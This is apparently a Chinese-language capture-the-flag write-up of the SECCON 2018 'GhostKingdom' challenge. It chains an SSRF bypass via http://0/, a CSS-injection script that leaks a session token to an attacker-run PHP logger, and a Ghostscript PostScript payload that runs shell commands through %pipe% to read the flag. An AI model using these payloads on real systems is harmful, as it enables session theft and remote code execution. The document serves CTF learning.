SECCON 2018 Qualis GhostKingdom

0x00 问题分析

题目链接:

1
http://ghostkingdom.pwn.seccon.jp/FLAG/

访问链接后的提示如下:

1
FLAG is somewhere in this folder.   GO TO TOP

首先是一个登录界面:

屏幕快照 2018-10-29 下午6.41.59.png

一通操作后发现没有注入,所以跟着逻辑注册登录继续往下看。

登录后发现侧面有三个功能,但是上传功能被禁止了,标识只有从本地登录才可以使用。尝试修改xxf等方式并没有成功,所以猜测可能是cookie认证问题?

屏幕快照 2018-10-29 下午6.44.14.png

但或者上传处不是关键点,先从上面两个功能开始测试。首先测试Message to admin,刚开始猜测可能此处会不会有一个xss bot,打个cookie回来。虽然这个输入框也不存在xss,也没有bot周期性地戳一下,但是在burp抓包中分析到一个css参数可控。联想到可能是CSS 注入读数据这个点,但是我还缺少一个从本地戳戳戳的bot!

屏幕快照 2018-10-29 下午6.50.11.png

屏幕快照 2018-10-29 下午6.51.21.png

此处我们decode一下这个base64可以看到是控制此处的输出样式。

1
2
 zeroyu@zeros  ~/Desktop  echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -D
span{background-color:red;color:yellow}

点击send to admin之后我看到一个csrf参数(有用?)

屏幕快照 2018-10-28 下午10.36.50.png

好像无法但从这一个点入手,所以我决定看看Take a screenshot

屏幕快照 2018-10-29 下午10.31.41.png

很明显是一个ssrf,不过file等协议都被限制了,302跳转好像也没开。虽然限制了127等,但是我们可以通过访问http://0/绕过,结果还是有惊喜的。

屏幕快照 2018-10-29 下午10.36.37.png

PS:扫描过程中发现了一个有趣的东西

1
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi

屏幕快照 2018-10-29 下午11.07.14.png

小结:

本来我以为这题是三个点分别突破都可以获取flag,但现在看来不行,真是继承了KeigoYAMAZAKI一贯的出题风格,要综合以上信息,构造利用链来读取flag

0x01 解题步骤

首先Take a screenshot处的ssrf可以让我们从local network那里进行登录,登录之后可以操作Upload image

屏幕快照 2018-10-28 下午10.32.30.png

但是仅通过这个有限制的ssrf无法进一步利用了。所以换一个角度考虑,如果我们能够从local network获取CGISESSIDfrom internet进行登录就可以使用Upload image功能了呢?

有了这个思路接下来就是获取CGISESSID了,联想到Message to admin还有一个css inject可以用来读取数据,所以就可以ssrf+css inject联合来获取CGISESSID

此处可以参考: Reading Data via CSS Injection

服务器上使用php开个服务器来记录数据

1
php -S 0.0.0.0:2333

对应的目录下可以放置如下log.php来帮助记录

1
2
3
4
5
6
7
8
9
10
11
12
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
import base64
CHARLIST = "0123456789" + "abcdef"
URL = "http://0/?msg=master&action=msgadm2&css="
#
known = "bcc703c0693e6eff894ede"
buf = ""
for char in CHARLIST:
buf += """input[name="csrf"][value^="{}"] {{
background: url(http://your server ip/log.php/{});
}}""".format(known+char,known+char)

print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

最终可以获取CGISESSID的值
屏幕快照 2018-10-29 下午11.04.08.png

之后在浏览器中设置上我们获得的CGISESSID,就可以使用Upload image功能了。

屏幕快照 2018-10-28 下午11.41.21.png

测试一下
屏幕快照 2018-10-29 下午11.10.10.png

屏幕快照 2018-10-29 下午11.10.37.png

发现有个Convert to GIF format结合之前我们发现的ghostMagick.cgi很容易想到Ghostscript的rce漏洞。我们将以下代码保存为jpg,上传可以得flag。

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

屏幕快照 2018-10-29 上午12.03.49.png

SECCON{CSSinjection+GhostScript/ImageMagickRCE}

0x03 参考

https://graneed.hatenablog.com/entry/2018/10/28/150722